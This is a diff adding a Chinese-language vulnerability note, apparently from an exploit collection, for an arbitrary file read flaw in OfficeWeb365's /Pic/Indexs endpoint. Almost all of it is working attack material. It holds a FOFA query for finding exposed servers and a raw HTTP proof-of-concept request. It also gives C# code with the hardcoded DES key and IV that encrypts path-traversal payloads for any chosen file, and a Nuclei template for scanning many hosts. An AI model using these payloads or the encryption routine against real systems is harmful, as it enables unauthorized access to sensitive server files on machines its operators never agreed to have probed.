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+## OfficeWeb365_任意文件读取漏洞
+
+OfficeWeb365 /Pic/Indexs接口处存在任意文件读取漏洞，攻击者可通过独特的加密方式对payload进行加密，读取任意文件，获取服务器敏感信息，使系统处于极不安全的状态。
+
+## fofa
+```
+body="请输入furl参数" || header="OfficeWeb365" || banner="OfficeWeb365"
+```
+
+## poc
+```
+GET /Pic/Indexs?imgs=DJwkiEm6KXJZ7aEiGyN4Cz83Kn1PLaKA09 HTTP/1.1
+Host: xx.xx.xx.xx
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+Accept-Encoding: gzip, deflate
+Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
+Connection: close
+DNT: 1
+Upgrade-Insecure-Requests: 1
+```
+
+## 读取文件加密方式
+```C#
+Enc("/../../Windows/win.ini");
+
+static string Enc(string plainText)
+{
+
+// 定义 DES 算法的密钥和初始化向量
+byte[] Keys = new byte[] { 102, 16, 93, 156, 78, 4, 218, 32 };
+byte[] Iv = new byte[] { 55, 103, 246, 79, 36, 99, 167, 3 };
+
+// 将明文转换为字节数组
+byte[] plainBytes = Encoding.UTF8.GetBytes(plainText);
+
+// 创建 DES 加密服务提供程序，并设置密钥和初始化向量
+DESCryptoServiceProvider desCryptoServiceProvider = new DESCryptoServiceProvider
+{
+Key = Keys,
+IV = Iv
+};
+
+// 创建内存流以存储加密后的数据
+MemoryStream memoryStream = new MemoryStream();
+
+// 创建 DES 加密器
+ICryptoTransform transform = desCryptoServiceProvider.CreateEncryptor();
+
+// 使用 CryptoStream 执行加密
+using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write))
+{
+cryptoStream.Write(plainBytes, 0, plainBytes.Length);
+cryptoStream.FlushFinalBlock();
+}
+
+// 将加密后的数据转换为 Base64 字符串
+string encryptedText = Convert.ToBase64String(memoryStream.ToArray());
+
+return encryptedText+"09";
+}
+```
+
+## Nuclei脚本
+```
+id: OfficeWeb365_Pic_Indexs_fileread
+
+info:
+  name: OfficeWeb365_Pic_Indexs_fileread
+  author: MMY
+  severity: high
+  description: OfficeWeb365_Pic_Indexs_fileread
+  reference:
+    - https://
+  tags: OfficeWeb365
+
+http:
+  - raw:
+      - |+
+        GET /Pic/Indexs?imgs=DJwkiEm6KXJZ7aEiGyN4Cz83Kn1PLaKA09 HTTP/1.1
+        Host: {{Hostname}}
+        Upgrade-Insecure-Requests: 1
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+        Accept-Encoding: gzip, deflate
+        Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
+        DNT: 1
+        Connection: close
+
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 16-bit app support
+      - type: status
+        status:
+          - 200
+
+
+```